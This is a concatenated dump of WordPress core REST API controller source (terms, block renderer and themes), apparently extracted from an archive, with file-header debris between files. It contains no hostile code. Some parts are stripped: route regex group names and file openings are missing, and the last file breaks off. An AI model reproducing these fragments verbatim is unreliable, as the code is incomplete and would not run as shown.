wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $term ) ) { /* * If we're going to inform the client that the term already exists, * give them the identifier for future use. */ $term_id = $term->get_error_data( 'term_exists' ); if ( $term_id ) { $existing_term = get_term( $term_id, $this->taxonomy ); $term->add_data( $existing_term->term_id, 'term_exists' ); $term->add_data( array( 'status' => 400, 'term_id' => $term_id, ) ); } return $term; } $term = get_term( $term['term_id'], $this->taxonomy ); /** * Fires after a single term is created or updated via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_insert_category` * - `rest_insert_post_tag` * * @since 4.7.0 * * @param WP_Term $term Inserted or updated term object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a term, false when updating. */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single term is completely created or updated via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_after_insert_category` * - `rest_after_insert_post_tag` * * @since 5.0.0 * * @param WP_Term $term Inserted or updated term object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a term, false when updating. */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true ); $response = $this->prepare_item_for_response( $term, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) ); return $response; } /** * Checks if a request has access to update the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, false or WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( ! current_user_can( 'edit_term', $term->term_id ) ) { return new WP_Error( 'rest_cannot_update', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); // Only update the term if we have something to update. if ( ! empty( $prepared_term ) ) { $update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $update ) ) { return $update; } } $term = get_term( $term->term_id, $this->taxonomy ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false ); $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Checks if a request has access to delete the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object. */ public function delete_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( ! current_user_can( 'delete_term', $term->term_id ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for terms. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $request->set_param( 'context', 'view' ); $previous = $this->prepare_item_for_response( $term, $request ); $retval = wp_delete_term( $term->term_id, $term->taxonomy ); if ( ! $retval ) { return new WP_Error( 'rest_cannot_delete', __( 'The term cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires after a single term is deleted via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_delete_category` * - `rest_delete_post_tag` * * @since 4.7.0 * * @param WP_Term $term The deleted term. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request The request sent to the API. */ do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request ); return $response; } /** * Prepares a single term for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object Term object. */ public function prepare_item_for_database( $request ) { $prepared_term = new stdClass; $schema = $this->get_item_schema(); if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_term->name = $request['name']; } if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) { $prepared_term->slug = $request['slug']; } if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) { $prepared_term->taxonomy = $request['taxonomy']; } if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) { $prepared_term->description = $request['description']; } if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) { $parent_term_id = 0; $requested_parent = (int) $request['parent']; if ( $requested_parent ) { $parent_term = get_term( $requested_parent, $this->taxonomy ); if ( $parent_term instanceof WP_Term ) { $parent_term_id = $parent_term->term_id; } } $prepared_term->parent = $parent_term_id; } /** * Filters term data before inserting term via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_pre_insert_category` * - `rest_pre_insert_post_tag` * * @since 4.7.0 * * @param object $prepared_term Term object. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request ); } /** * Prepares a single term output for response. * * @since 4.7.0 * * @param WP_Term $item Term object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'id', $fields, true ) ) { $data['id'] = (int) $item->term_id; } if ( in_array( 'count', $fields, true ) ) { $data['count'] = (int) $item->count; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $item->description; } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_term_link( $item ); } if ( in_array( 'name', $fields, true ) ) { $data['name'] = $item->name; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $item->slug; } if ( in_array( 'taxonomy', $fields, true ) ) { $data['taxonomy'] = $item->taxonomy; } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->parent; } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $item->term_id, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $item ) ); /** * Filters the term data for a REST API response. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_prepare_category` * - `rest_prepare_post_tag` * * Allows modification of the term data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Term $item The original term object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request ); } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Term $term Term object. * @return array Links for the given term. */ protected function prepare_links( $term ) { $base = $this->namespace . '/' . $this->rest_base; $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $term->term_id ), ), 'collection' => array( 'href' => rest_url( $base ), ), 'about' => array( 'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ), ), ); if ( $term->parent ) { $parent_term = get_term( (int) $term->parent, $term->taxonomy ); if ( $parent_term ) { $links['up'] = array( 'href' => rest_url( trailingslashit( $base ) . $parent_term->term_id ), 'embeddable' => true, ); } } $taxonomy_obj = get_taxonomy( $term->taxonomy ); if ( empty( $taxonomy_obj->object_type ) ) { return $links; } $post_type_links = array(); foreach ( $taxonomy_obj->object_type as $type ) { $rest_path = rest_get_route_for_post_type_items( $type ); if ( empty( $rest_path ) ) { continue; } $post_type_links[] = array( 'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( $rest_path ) ), ); } if ( ! empty( $post_type_links ) ) { $links['https://api.w.org/post_type'] = $post_type_links; } return $links; } /** * Retrieves the term's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the term.' ), 'type' => 'integer', 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), 'count' => array( 'description' => __( 'Number of published posts for the term.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'HTML description of the term.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'link' => array( 'description' => __( 'URL of the term.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'HTML title for the term.' ), 'type' => 'string', 'context' => array( 'view', 'embed', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), 'required' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the term unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'embed', 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'taxonomy' => array( 'description' => __( 'Type attribution for the term.' ), 'type' => 'string', 'enum' => array( $this->taxonomy ), 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), ), ); $taxonomy = get_taxonomy( $this->taxonomy ); if ( $taxonomy->hierarchical ) { $schema['properties']['parent'] = array( 'description' => __( 'The parent term ID.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $taxonomy = get_taxonomy( $this->taxonomy ); $query_params['context']['default'] = 'view'; $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); if ( ! $taxonomy->hierarchical ) { $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); } $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'asc', 'enum' => array( 'asc', 'desc', ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by term attribute.' ), 'type' => 'string', 'default' => 'name', 'enum' => array( 'id', 'include', 'name', 'slug', 'include_slugs', 'term_group', 'description', 'count', ), ); $query_params['hide_empty'] = array( 'description' => __( 'Whether to hide terms not assigned to any posts.' ), 'type' => 'boolean', 'default' => false, ); if ( $taxonomy->hierarchical ) { $query_params['parent'] = array( 'description' => __( 'Limit result set to terms assigned to a specific parent.' ), 'type' => 'integer', ); } $query_params['post'] = array( 'description' => __( 'Limit result set to terms assigned to a specific post.' ), 'type' => 'integer', 'default' => null, ); $query_params['slug'] = array( 'description' => __( 'Limit result set to terms with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); /** * Filters collection parameters for the terms controller. * * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy * slug for the controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Term_Query parameter. Use the * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. * @param WP_Taxonomy $taxonomy Taxonomy object. */ return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy ); } /** * Checks that the taxonomy is valid. * * @since 4.7.0 * * @param string $taxonomy Taxonomy to check. * @return bool Whether the taxonomy is allowed for REST management. */ protected function check_is_taxonomy_allowed( $taxonomy ) { $taxonomy_obj = get_taxonomy( $taxonomy ); if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) { return true; } return false; } } rest-api/endpoints/class-wp-rest-block-renderer-controller.php000064400000013312147177035020020573 0ustar00namespace = 'wp/v2'; $this->rest_base = 'block-renderer'; } /** * Registers the necessary REST API routes, one for each dynamic block. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9-]+/[a-z0-9-]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Unique registered name for the block.' ), 'type' => 'string', ), ), array( 'methods' => array( WP_REST_Server::READABLE, WP_REST_Server::CREATABLE ), 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'attributes' => array( 'description' => __( 'Attributes for the block.' ), 'type' => 'object', 'default' => array(), 'validate_callback' => static function ( $value, $request ) { $block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] ); if ( ! $block ) { // This will get rejected in ::get_item(). return true; } $schema = array( 'type' => 'object', 'properties' => $block->get_attributes(), 'additionalProperties' => false, ); return rest_validate_value_from_schema( $value, $schema ); }, 'sanitize_callback' => static function ( $value, $request ) { $block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] ); if ( ! $block ) { // This will get rejected in ::get_item(). return true; } $schema = array( 'type' => 'object', 'properties' => $block->get_attributes(), 'additionalProperties' => false, ); return rest_sanitize_value_from_schema( $value, $schema ); }, ), 'post_id' => array( 'description' => __( 'ID of the post context.' ), 'type' => 'integer', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read blocks. * * @since 5.0.0 * * @global WP_Post $post Global post object. * * @param WP_REST_Request $request Request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { global $post; $post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0; if ( $post_id > 0 ) { $post = get_post( $post_id ); if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) { return new WP_Error( 'block_cannot_read', __( 'Sorry, you are not allowed to read blocks of this post.' ), array( 'status' => rest_authorization_required_code(), ) ); } } else { if ( ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'block_cannot_read', __( 'Sorry, you are not allowed to read blocks as this user.' ), array( 'status' => rest_authorization_required_code(), ) ); } } return true; } /** * Returns block output from block's registered render_callback. * * @since 5.0.0 * * @global WP_Post $post Global post object. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { global $post; $post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0; if ( $post_id > 0 ) { $post = get_post( $post_id ); // Set up postdata since this will be needed if post_id was set. setup_postdata( $post ); } $registry = WP_Block_Type_Registry::get_instance(); $registered = $registry->get_registered( $request['name'] ); if ( null === $registered || ! $registered->is_dynamic() ) { return new WP_Error( 'block_invalid', __( 'Invalid block.' ), array( 'status' => 404, ) ); } $attributes = $request->get_param( 'attributes' ); // Create an array representation simulating the output of parse_blocks. $block = array( 'blockName' => $request['name'], 'attrs' => $attributes, 'innerHTML' => '', 'innerContent' => array(), ); // Render using render_block to ensure all relevant filters are used. $data = array( 'rendered' => render_block( $block ), ); return rest_ensure_response( $data ); } /** * Retrieves block's output schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->schema; } $this->schema = array( '$schema' => 'http://json-schema.org/schema#', 'title' => 'rendered-block', 'type' => 'object', 'properties' => array( 'rendered' => array( 'description' => __( 'The rendered block.' ), 'type' => 'string', 'required' => true, 'context' => array( 'edit' ), ), ), ); return $this->schema; } } rest-api/endpoints/class-wp-rest-themes-controller.php000064400000045763147177035020017201 0ustar00//` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ const PATTERN = '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?'; /** * Constructor. * * @since 5.0.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'themes'; } /** * Registers the routes for themes. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P%s)', $this->rest_base, self::PATTERN ), array( 'args' => array( 'stylesheet' => array( 'description' => __( "The theme's stylesheet. This uniquely identifies the theme." ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_stylesheet_callback' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Sanitize the stylesheet to decode endpoint. * * @since 5.9.0 * * @param string $stylesheet The stylesheet name. * @return string Sanitized stylesheet. */ public function _sanitize_stylesheet_callback( $stylesheet ) { return urldecode( $stylesheet ); } /** * Checks if a given request has access to read the theme. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) { return true; } $registered = $this->get_collection_params(); if ( isset( $registered['status'], $request['status'] ) && is_array( $request['status'] ) && array( 'active' ) === $request['status'] ) { return $this->check_read_active_theme_permission(); } return new WP_Error( 'rest_cannot_view_themes', __( 'Sorry, you are not allowed to view themes.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to read the theme. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) { return true; } $wp_theme = wp_get_theme( $request['stylesheet'] ); $current_theme = wp_get_theme(); if ( $this->is_same_theme( $wp_theme, $current_theme ) ) { return $this->check_read_active_theme_permission(); } return new WP_Error( 'rest_cannot_view_themes', __( 'Sorry, you are not allowed to view themes.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a theme can be read. * * @since 5.7.0 * * @return bool|WP_Error Whether the theme can be read. */ protected function check_read_active_theme_permission() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view_active_theme', __( 'Sorry, you are not allowed to view the active theme.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves a single theme. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $wp_theme = wp_get_theme( $request['stylesheet'] ); if ( ! $wp_theme->exists() ) { return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $wp_theme, $request ); return rest_ensure_response( $data ); } /** * Retrieves a collection of themes. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $themes = array(); $active_themes = wp_get_themes(); $current_theme = wp_get_theme(); $status = $request['status']; foreach ( $active_themes as $theme_name => $theme ) { $theme_status = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive'; if ( is_array( $status ) && ! in_array( $theme_status, $status, true ) ) { continue; } $prepared = $this->prepare_item_for_response( $theme, $request ); $themes[] = $this->prepare_response_for_collection( $prepared ); } $response = rest_ensure_response( $themes ); $response->header( 'X-WP-Total', count( $themes ) ); $response->header( 'X-WP-TotalPages', 1 ); return $response; } /** * Prepares a single theme output for response. * * @since 5.0.0 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Theme $item Theme object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $theme = $item; $data = array(); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'stylesheet', $fields ) ) { $data['stylesheet'] = $theme->get_stylesheet(); } if ( rest_is_field_included( 'template', $fields ) ) { /** * Use the get_template() method, not the 'Template' header, for finding the template. * The 'Template' header is only good for what was written in the style.css, while * get_template() takes into account where WordPress actually located the theme and * whether it is actually valid. */ $data['template'] = $theme->get_template(); } $plain_field_mappings = array( 'requires_php' => 'RequiresPHP', 'requires_wp' => 'RequiresWP', 'textdomain' => 'TextDomain', 'version' => 'Version', ); foreach ( $plain_field_mappings as $field => $header ) { if ( rest_is_field_included( $field, $fields ) ) { $data[ $field ] = $theme->get( $header ); } } if ( rest_is_field_included( 'screenshot', $fields ) ) { // Using $theme->get_screenshot() with no args to get absolute URL. $data['screenshot'] = $theme->get_screenshot() ? $theme->get_screenshot() : ''; } $rich_field_mappings = array( 'author' => 'Author', 'author_uri' => 'AuthorURI', 'description' => 'Description', 'name' => 'Name', 'tags' => 'Tags', 'theme_uri' => 'ThemeURI', ); foreach ( $rich_field_mappings as $field => $header ) { if ( rest_is_field_included( "{$field}.raw", $fields ) ) { $data[ $field ]['raw'] = $theme->display( $header, false, true ); } if ( rest_is_field_included( "{$field}.rendered", $fields ) ) { $data[ $field ]['rendered'] = $theme->display( $header ); } } $current_theme = wp_get_theme(); if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive'; } if ( rest_is_field_included( 'theme_supports', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) { foreach ( get_registered_theme_features() as $feature => $config ) { if ( ! is_array( $config['show_in_rest'] ) ) { continue; } $name = $config['show_in_rest']['name']; if ( ! rest_is_field_included( "theme_supports.{$name}", $fields ) ) { continue; } if ( ! current_theme_supports( $feature ) ) { $data['theme_supports'][ $name ] = $config['show_in_rest']['schema']['default']; continue; } $support = get_theme_support( $feature ); if ( isset( $config['show_in_rest']['prepare_callback'] ) ) { $prepare = $config['show_in_rest']['prepare_callback']; } else { $prepare = array( $this, 'prepare_theme_support' ); } $prepared = $prepare( $support, $config, $feature, $request ); if ( is_wp_error( $prepared ) ) { continue; } $data['theme_supports'][ $name ] = $prepared; } } $data = $this->add_additional_fields_to_object( $data, $request ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $theme ) ); if ( $theme->get_stylesheet() === wp_get_theme()->get_stylesheet() ) { // This creates a record for the active theme if not existent. $id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id(); } else { $user_cpt = WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles( $theme ); $id = isset( $user_cpt['ID'] ) ? $user_cpt['ID'] : null; } if ( $id ) { $response->add_link( 'https://api.w.org/user-global-styles', rest_url( 'wp/v2/global-styles/' . $id ) ); } /** * Filters theme data returned from the REST API. * * @since 5.0.0 * * @param WP_REST_Response $response The response object. * @param WP_Theme $theme Theme object used to create response. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_theme', $response, $theme, $request ); } /** * Prepares links for the request. * * @since 5.7.0 * * @param WP_Theme $theme Theme data. * @return array Links for the given block type. */ protected function prepare_links( $theme ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $theme->get_stylesheet() ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); } /** * Helper function to compare two themes. * * @since 5.7.0 * * @param WP_Theme $theme_a First theme to compare. * @param WP_Theme $theme_b Second theme to compare. * @return bool */ protected function is_same_theme( $theme_a, $theme_b ) { return $theme_a->get_stylesheet() === $theme_b->get_stylesheet(); } /** * Prepares the theme support value for inclusion in the REST API response. * * @since 5.5.0 * * @param mixed $support The raw value from get_theme_support(). * @param array $args The feature's registration args. * @param string $feature The feature name. * @param WP_REST_Request $request The request object. * @return mixed The prepared support value. */ protected function prepare_theme_support( $support, $args, $feature, $request ) { $schema = $args['show_in_rest']['schema']; if ( 'boolean' === $schema['type'] ) { return true; } if ( is_array( $support ) && ! $args['variadic'] ) { $support = $support[0]; } return rest_sanitize_value_from_schema( $support, $schema ); } /** * Retrieves the theme's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'theme', 'type' => 'object', 'properties' => array( 'stylesheet' => array( 'description' => __( 'The theme\'s stylesheet. This uniquely identifies the theme.' ), 'type' => 'string', 'readonly' => true, ), 'template' => array( 'description' => __( 'The theme\'s template. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet.' ), 'type' => 'string', 'readonly' => true, ), 'author' => array( 'description' => __( 'The theme author.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme author\'s name, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'HTML for the theme author, transformed for display.' ), 'type' => 'string', ), ), ), 'author_uri' => array( 'description' => __( 'The website of the theme author.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The website of the theme author, as found in the theme header.' ), 'type' => 'string', 'format' => 'uri', ), 'rendered' => array( 'description' => __( 'The website of the theme author, transformed for display.' ), 'type' => 'string', 'format' => 'uri', ), ), ), 'description' => array( 'description' => __( 'A description of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme description, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The theme description, transformed for display.' ), 'type' => 'string', ), ), ), 'name' => array( 'description' => __( 'The name of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme name, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The theme name, transformed for display.' ), 'type' => 'string', ), ), ), 'requires_php' => array( 'description' => __( 'The minimum PHP version required for the theme to work.' ), 'type' => 'string', 'readonly' => true, ), 'requires_wp' => array( 'description' => __( 'The minimum WordPress version required for the theme to work.' ), 'type' => 'string', 'readonly' => true, ), 'screenshot' => array( 'description' => __( 'The theme\'s screenshot URL.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, ), 'tags' => array( 'description' => __( 'Tags indicating styles and features of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme tags, as found in the theme header.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ), 'rendered' => array( 'description' => __( 'The theme tags, transformed for display.' ), 'type' => 'string', ), ), ), 'textdomain' => array( 'description' => __( 'The theme\'s text domain.' ), 'type' => 'string', 'readonly' => true, ), 'theme_supports' => array( 'description' => __( 'Features supported by this theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array(), ), 'theme_uri' => array( 'description' => __( 'The URI of the theme\'s webpage.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The URI of the theme\'s webpage, as found in the theme header.' ), 'type' => 'string', 'format' => 'uri', ), 'rendered' => array( 'description' => __( 'The URI of the theme\'s webpage, transformed for display.' ), 'type' => 'string', 'format' 